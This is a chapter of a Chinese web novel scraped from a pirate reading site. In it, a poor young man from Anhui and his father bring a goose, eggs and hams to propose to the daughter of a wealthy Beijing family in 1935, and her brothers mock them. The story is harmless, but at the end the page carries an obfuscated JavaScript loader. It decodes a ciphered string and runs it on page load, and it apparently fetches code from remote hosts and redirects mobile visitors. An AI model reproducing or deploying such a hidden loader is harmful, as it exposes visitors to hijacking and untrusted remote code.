首页
第2422章 焕英的决心
返回
关灯 护眼:关 字号:小

第2422章 焕英的决心

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    民国二十四年,春。
    这一年的春天来的有些早,柳枝刚刚在颐和园岸边抽出嫩芽,城里的人们有些人已经拖下了棉衣。
    李德全和父亲李老爷子挑着扁担,一路新奇的往南池子大街走。
    原本是不准备住客栈的,可焕英说昨晚必须要住一夜,养足精神头,好应对今天的场面。
    焕英很聪明,很快就把初见面的那一刻的要死要活的情绪给压制了,一冷静下来就出主意,说要把慕家那边全都安排好,等着两人上门来下聘,不能让他们白跑这一趟。
    身上就留下一块大洋的李老爷子,一咬牙,带着儿子李德全就住了店,可到了地方,焕英已经安排好了住处,实在是体贴。
    昨天来的晚,两人还对燕京城的繁华没什么概念,可今儿清早从客栈出来,这一路上熙熙攘攘,黄包车的铃铛声、小贩的叫卖声,还有街边留声机里咿咿呀呀的戏曲声,混在一起,真叫两人惊掉了大牙。
    “爹,燕京的日子好不?”李德全瞧父亲看的仔细,趁着休息的空当,笑着递过来装满茶水的葫芦。
    “好啊!真好!”李老爷子咧嘴笑起来,语气又有些自豪道:“我娃出息了,也能让我有机会来这里饱饱眼福了!”
    李德全看向繁花如锦的城市,淡然道:“爹,以后您能常来的!”
    李老爷子看向儿子,微微一笑,“我信你!”
    他把葫芦递给儿子,起身抓起扁担,背影坚决的像是要上战场,“今儿这场硬仗打完,你爹我也不虚此行了!成不成,就看你造化了!”
    李德全站起身,看着那个大箩筐。
    那箩筐已经用红布盖着了,沉甸甸的,压的父亲的扁担弯成了一道弧线。
    “爹,没有不成的事情!事在人为!焕英她肯跟我走,那今天,事情就一定成!”
    前头传来两声爽朗的笑声,李德全也被自己这话说的满腔豪情,站起身把自己的粗布衣裳理了理。
    这一身衣裳,虽然打着补丁,但干净爽洁,是他能穿出来的最干净最敞亮的衣服了。
    虽说到了他这个心态,穿着已经不需要在意了。
    但今天毕竟是上门提亲,第一印象很重要。
    李德全扭头去看胭脂店门边的玻璃,里头那一双眼睛,像家乡山涧里的泉水,清澈见底,还透着一股子倔劲儿。
    一定能成的!
    他在心里默默的打气。
    于是这一路,两人走的那叫一个顺畅流利,没用半个时辰就赶到了南池子大街的慕家老宅。
    门楼下的朱漆大门红艳艳的,铜钉锃亮闪着金光,很是气派。
    就连门口蹲着的两尊石狮子,也张牙舞爪,威猛霸气。
    门楼上挂着块牌匾,黑底金字,写着慕府两个大字,真写的龙飞凤舞,透着一股说不出来的威势。
    李老爷子停下脚步,把扁担从肩头上卸下来放在地上,抬手抹了抹额头的汗。
    汗热乎乎的,手也热乎乎的,心也热乎乎的。
    “全子,我们到了!”李老爷子没回头,但是知道儿子就跟着自己。
    “爹,我晓得!”李德全应了一声,也卸下了自己的扁担,抬起头去看那牌匾。
    那匾额在阳光下闪着金光,刺的他眼睛一眯一眯的。
    下意识的,他深深吸了口气。
    说不紧张,那是假的。
    与焕英相识相恋两年,一路走来,只有他和她知道这其中的不易。
    大千世界,能够寻得一份相濡以沫的缘分,这是何等不容易的事情。
    而他,从南皖去东北,在那里结识焕英,经历了一番可歌可泣的故事,又私下约定终生。
    到如今,他从南皖,真的按照约定,来了燕京。
    回首往事,一切都像梦一样。
    但现在,他站在慕家的大宅子前,晓得这一切都是自己努力的结果。
    他得到了焕英的芳心。
    现在,他要得到慕家的认可和尊重,以及一份敢于放手的嘱托。
    两人在门前驻足休息片刻,准备进去,却早已引起了门房的注意。
    这门房四十来岁,穿着青布长衫,外头套了件黑马褂,头发向后梳的那叫一个溜光水滑,是燕京城里门房的标准打扮。
    这会儿,他正从院子里出来,手里捧着个紫砂壶,显然刚刚添完水,瞧见这父子两站在门口,旁边还放着几个箩筐,顿时眉头就皱了起来。
    瞧这装扮,一身粗布衣衫,鞋子也是那种农村常见的千层底,还沾着些老泥。
    燕京城里有头有脸的人家,来来往往的谁不是长衫马褂的先生,哪个不是坐着小汽车的太太小姐?
    这两人,一看装束就晓得是乡下来的穷亲戚,怕又是来找慕家投靠的!
    哎,这年月,这样的人为寻求一丝活着的机会,什么门路都要试一试。
    门房把紫砂壶放在门后小桌上,背着手慢悠悠的走了过来,上下打量了几眼李德全和李老爷子,鼻孔里先是冷哼一声,这才问道:“干什么的你俩?”
    李老爷子赶紧拱手,脸上堆起笑容,一脸乡下人的热诚:“这位爷,劳烦通禀一声,我们是南皖来的,姓李,想见一见慕老爷子!”
    “南皖?”门房一怔,想了半天没想明白这在哪儿,视线落在李老爷子脸上,这才明白说的是个省份,问道:“具体是哪儿?”
    “宛陵李家村!”李老爷子如实说。
    门房听到并非是什么庐州这种大地方,顿时嗤笑一声:“没听说过,你们找老爷有什么事情?”
    李德全见他态度桀骜,立即上前一步,挡在父亲面前,他虽然穿着粗布衣衫,但却比门房高一个头,腰板一挺直,气势立即显得不卑不亢,“我们是来下聘礼的!”
    “下聘?”
    门房又是一愣,接着看着李德全那一副认真的样子,像是听到了什么笑话,眼神瞪的溜圆,在他身上逡巡了数次,强调道:“你们是不是找错地方了?这里是慕府!”
    李德全点头:“我们来的就是慕府!”
    “哈哈哈,好好好!”门房都被气笑了,大声问道:“你们下什么聘?给谁下聘?”
    慕家就两个千金,自然是不会看上眼前这个穷小子的。
    至于府里的丫鬟、下人,倒是有可能。
    他正想问问到底哪个不长眼的,看上了南皖的乡下人!
    李德全却掷地有声道:“给贵府的大小姐,慕焕英!”
    门房愣住了。
    他盯着李德全看了好一会儿,又看看那两根扁担,四个大箩筐,忽然噗嗤一声笑出了声,笑的那是前仰后合,连眼泪都飙出来了。
    “就你们?来下聘?挑着这些扁担箩筐,来给大小姐下聘?”门房擦着自己的眼泪,笑的连腰都直不起来了,“你们知道这里是什么地方吗?这里是慕府!知道慕府是什么门第吗?你们啊……这是癞蛤蟆想吃天鹅肉!痴心妄想啊!”
    李老爷子的脸涨红了,手指下意识的攥紧了扁担,捏的指节发白,心中替儿子觉得委屈。
    可李德全却没什么表情,他晓得燕京城里,这些大家族确实有这个毛病,养尊处优惯了的门房都会狗眼看人低,但他今天来,不是跟门房起冲突的,他是为了焕英来的。
    等面前这人笑完了,李德全才又规规矩矩的拱了拱拳,认真道:“劳烦去通禀一声,见与不见,是慕老爷子的事情,您只是个传话的,不要耽误了事情!”
    这话说的不卑不亢,不软不硬,道理浅显,却让门房的笑声戛然而止。
    门房收敛起肆意的笑容,重新打量了一下李德全。
    就见这年轻小伙子,看着土里土气的,说话却有板有眼的,挺有规矩,模样周正,眼神也认真,倒不像是个来胡闹的。
    他犹豫了一下,心中思衬一番,想起大小姐这几年确实在外游历,难道说……
    他不敢托大,丢下一句你们等着,便转身进了门。
    李老爷子松了口气,抹了抹额角的汗,低声对儿子说:“全子,我李家在宛陵虽然不输于人,可燕京这些世家,门槛太高了,往后你受得了吗?你娶了焕英,怕是平时连这门房也得欺负你啊!”
    李德全摇摇头,目光反而更加坚定了,“爹,我知道这地方吃人不吐骨头,所以我要带焕英脱离苦海!我们来都来了,见了慕老爷,把话说明白,成不成,听天由命。但话得说出去,礼也得送!这是规矩!”
    李老爷子看着笃定的儿子,叹了口气,“我教你的,你倒是学会了。也罢,你老子我今天也豁出去了!”
    李德全却怕父亲受了委屈,摇头道:“爹,今天您就看着,成吗?我的婚事,我想自己做主!”
    老爷子一怔,手掌不自觉按在儿子肩头,真真切切的感受到了孩子的长大。
    可这长大,是有代价的,那是拿酸甜苦辣换来的!
    “孩子,可你才十八啊……”
    “爹!”李德全反手握住父亲的手,“我长大了,成人了,能自己做主!我不会给李家丢脸的!”
    李老爷子愣了愣,瞧见儿子转头望过来的眼睛,赤诚、坚毅,好像这世上再也没有任何困难能够打倒他,便眼睛一红,最终什么话都没说,只是点了点头,答应了儿子的请求。
    大概过了一盏茶的时间,门房匆匆赶回来,脸色却有点古怪,看着李德全的眼神像是看什么稀罕物。
    “老爷让你们进去!”门房说道。
    “哎!”李老爷子心中一喜,忙去提扁担。
    门房却拦着他们,“走侧门!”
    两人对视了一眼,晓得燕京城里倒也有些规矩,所谓入乡随俗,便也没计较什么,挑起扁担,跟着门房从侧门进了慕府。
    一进来,父子俩都有些发楞。
    不说李老爷子没进过这样的地方,就连李德全也没见过这么大的宅子。
    那青砖,从入院门开始,一路铺着,一直延伸到看不见的院子深处。
    路两边就是抄手游廊,雕花栏杆,朱漆大红柱,一眼望去,根本看不到头。
    这廊檐下挂着鸟笼,里头养着的画眉、百灵,叽叽喳喳的正唱着歌。
    远山、池塘应有尽有,几尾鲤鱼,黄的红的金的自由自在的在湖里游着,比人还快活。
    更远处则是楼阁,飞檐斗拱,那些琉璃瓦在阳光下闪闪发光,晃的人感觉像是太阳。
    可不光是庭院深深让人印象深刻,就连下人们也极其多,在院里院外穿梭着,举着托盘茶具果品四处送的,打扫荒叶的,湖里捞浮萍的,逗猫遛狗的,干啥的都有。
    看见李德全父子两挑着扁担进院子,这些人好多都停下脚步,好奇的打量着他们,眼神里带着惊讶,等到看到他们身上的补丁,有些人的好奇便转为了轻蔑。
    李老爷子哪里见过这阵仗,一前一后抓着扁担的手,直冒汗,扁担一不小心在肩头一滑,赶紧给扶住。
    李德全倒是走的稳当又轻巧,目不斜视,眼中只有那一座高高在上的中堂。
    穿过几道月亮门,进了一处院子,里头种了不少花草树木。
    一丛海棠花正盛开着,粉白粉白的一片,风一吹,花瓣就簌簌簌的往下落。
    李德全看着那花笑了笑,他听焕英说过,老夫人最喜欢在这花旁给她扎辫子,给她讲穆桂英挂帅的故事。
    原来那花就在这里啊!
    到了这里,李德全才有些熟悉的感觉,各中一切,都有了焕英生活的轨迹,叫他心里甜丝丝的。
    正屋传来说话声,他扭头看去,发现中堂的窗户大开着,已经有人看到他到了,似乎正在争吵。
    门房在廊柱旁停下,躬身喊道:“老爷,人带来了!”
    里头的喧闹立即戛然而止,随即传来一个沉稳的声音:“进来吧!”
    门房朝二人招了招手。
    李老爷子带着李德全整理了一番衣裳,实际上也没什么好整理的,粗布衣衫,怎么整也没有绫罗绸缎的褶皱。
    老爷子正要进屋,一旁的箩筐里便传来叽叽喳喳的鹅叫,李德全咧嘴一笑,掀开了箩筐上的红布,用手掌揉了揉两只鹅的大红顶,嘘了一声小声道:“你们两可得给我争气啊!今儿可是我的好日子!”
    不知道是不是听得懂他的话,两只大鹅立马不闹了,匍匐在箩筐里安安静静的等着。
    李德全这才直起腰身,看了一眼父亲,两人深深吸了口气,迈步走进中堂。
    中堂里坐满了人。
    上首的太师椅上坐着个五十来岁的男人,穿着藏青色的唐装,外头罩了一件玄色的马褂,大拇指上摩挲着一枚扳指,面容清绝,眼神锐利,不怒自威。
    而他旁边,则坐着一位四十多岁的夫人,穿着酱紫色的冬装旗袍,外头披了一件狐裘,面容姣好,但眉头微蹙,眼神里带着浓浓的担忧。
    李德全一眼就认出来了,这是焕英跟他说了很多次的慕老爷子和慕夫人。
    左右两边各坐了三人,从二十多岁到三十岁不等,各个穿着体面,或是唐装的长衫,或是剪裁得体的西式西装,气度很是不凡,还有位距离自己最近,坐在左手边,是个跟焕英年纪相仿模样也极其相似,眼里闪烁着好奇的少女。
    这便是慕家的五位少爷和一位小千金,分别是老大慕焕雄,老二慕焕璋,老三慕焕瑾,老四慕焕琛,老五慕焕瑜和老七慕焕蓉!
    而慕焕英则站在母亲身边,身穿一身堇色旗袍,剪着齐耳短发,眼睛亮的像星星一样。
    她见到李德全进来,眼睛一下子红了,嘴唇抿的紧紧地,手指头紧紧抓着母亲坐着的椅背。
    李德全跟慕焕英视线接触了一下,笑着眨了眨眼睛,走到堂屋中央,扑通一声就跪了下去,朝着慕老爷子和慕夫人,恭恭敬敬的磕了个头。
    “南皖李家村李德全,拜见慕老爷慕夫人!”他的声音相当清朗,在这寂静无声的堂屋里显得格外的清晰。
    慕老爷子的目光像是刀子一样,在李德全身上逡巡,打量着他,像是想把这小伙子看穿,所以并没有第一时间说话。
    一旁的慕夫人却忍不住开了口:“孩子,起来说话吧!”
    李德全没起来,他知道这起来,再想拜下去磕头,怕是没什么机会了,于是规规矩矩的又磕了一个头,抬起头看着自己未来的岳父岳母,朗声道:“谢谢夫人!今日小子冒昧登门,是来向贵府千金慕焕英下聘求亲的!”
    这话一出,随着不知道谁喊的果然如此,一下子在堂里炸了锅。
    “你说什么?!”
    老大慕焕雄腾的一下就站起来了,他本来就魁梧,此刻似乎是被气坏了,指着李德全吼道:“轻浮!你连我慕家的门都找不到在哪,第一次来就下聘?你再说一遍!”
    老二慕焕璋眯着眼盯着李德全,慢悠悠的旋动着手里一个茶盏,没跟老大一样开口质问,但眼神却逐渐冷了下来。
    老三慕焕瑾则靠着椅背,一只手搭在椅靠上,把玩着一枚怀表,嘴角带着一抹玩味的笑容。
    老四慕焕琛和老五慕焕瑜对视了一眼,两人年纪较轻,但此刻眼里全是惊诧,然后很快变为不满。
    慕焕蓉则两手托着腮,一双美眸瞧着李德全在看热闹。
    这堂屋里几乎一边倒的通过各式各样的神态,表达了对李德全的不满,这画面刺的慕焕英眼泪刷的一下下来了,她往前一步,刚要说什么,却被母亲一把拉住了。
    李老爷子眼见儿子这刚说话就被针对了,脸上也冷了冷,之前的彷徨和担心,此刻也变成了委屈生成的倔强,正要上前说话。
    李德全感知到父亲的动作,立即歪了歪脑袋看向他的鞋尖。
    老爷子一顿,察觉到儿子还有后手,默默的叹了口气,又缩回了脚。
    这时,慕老爷子抬手,轻轻往下压了压。
    慕焕雄冷冷瞪了一眼李德全,默默走回太师椅旁坐下,可那双眼睛里愤怒的火焰,几乎要把李德全烤焦。
    这大厅转眼就安静下来。
    “你是来下聘的?”慕老爷子声音透着满满的威严,“你的聘礼呢?”
    “就在门外!”李德全立即起身,来到门外,一只手两个,牵起拴在箩筐上的粗绳子,提着四个大箩筐就进来了。
    他把箩筐上面的红布一一揭开,说道:“慕老爷,这就是我的聘礼!”
    第一个箩筐里,是一对火腿,用红纸包着,油光发亮,成色非常不错。
    第二个箩筐里,是三十二个鸡蛋和那一对鹅生的八个鹅蛋,各个圆润,用稻草垫着。
    第三个箩筐里,是些山货,香菇木耳笋干板栗,码的整整齐齐,堆的老高。
    第四个箩筐里,是那一对大鹅,瞧见红布揭开了,正昂着头,嗷嗷的叫了两声。
    就这些东西。
    一对鹅,四十个蛋,一对火腿,加一些山货。
    简单,朴实,慕焕英看的泪水连连,觉得珍贵。
    这些,都是他的仲墨,跨越了千里带来的爱。
    可在慕家这样的门第看来,简直寒酸的可笑。
    慕焕瑜实在忍不住了,大步流星的跑到箩筐前,用脚踢了踢那对火腿,嗤笑道:“就这?这就是你的聘礼?李德全,你知道我慕家是什么家族吗?你知道我妹妹是什么人吗?她是慕家的大小姐,真千金!从小就锦衣玉食,读书识字,琴棋书画样样精通,她将来是要嫁进好人家的!你拿这些东西来,是在羞辱我们慕家吗?”
    我知道!
    李德全心中默默的说。
    不过他却没跟慕焕瑜掰扯这个,而是看着慕老爷子,声音平静又充满坦诚:“慕老爷子,李家村是个小地方,我李家世代纯良,只攻岐黄,向来不喜金银珠宝这些身外之财!我也拿不出那些金银珠宝!”
    “这对鹅,是我大爷养了六年的种鹅,下的蛋都给村里攒着,当奶娃娃的粮食!听说我要娶焕英,让我带过来的!这对火腿,是去年冬天腌的野猪肉,用的是最好的后腿肉!这三十二个鸡蛋,是我跟族里的人讨的,另外八个鹅蛋,是我和父亲挑担来京这半个月,那一对大鹅下的!这些东西,是山里长的水里游的,干净实在!”
    他深吸了一口气,继续道:“我知道慕家是大户人家,瞧不上这些东西!但这是我李家能拿出来的最好的东西了!我李德全虽然穷,但有一双手,有力气,肯吃苦。我对焕英是真心的,这辈子我只对她一个人好,我会呵护她爱护她守护她,不会让她在我李家,受到任何委屈,吃任何一点苦头!我请求您,允许我李仲墨娶她为妻!”
    慕焕英的眼泪流的更凶了,她忽然挣脱母亲的手,跑到李德全身边,也跪了下去,朝着父母磕头。
    “爹娘,女儿愿意跟仲墨兄走!女儿不要金银珠宝,不要富贵满堂,不要绫罗绸缎,我只要他这个人!请你们成全我们!”
    “胡闹!”慕老夫人急了,站起来要去拉女儿,“英儿,你给我起来!婚姻大事,父母之命媒妁之言,哪有你自己做主的道理?”
    慕焕英不起来,只是磕头,额头就那样磕在青砖地上,咚咚作响。
    她每磕一下,李德全就感觉到血液在五脏六腑里奔涌,一下一下撞击着自己的耳膜,击的他双眼赤红,喉咙跟塞了铁一样难受。
    焕英,我想带你走,可是见你这样,我做的是对的吗?
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();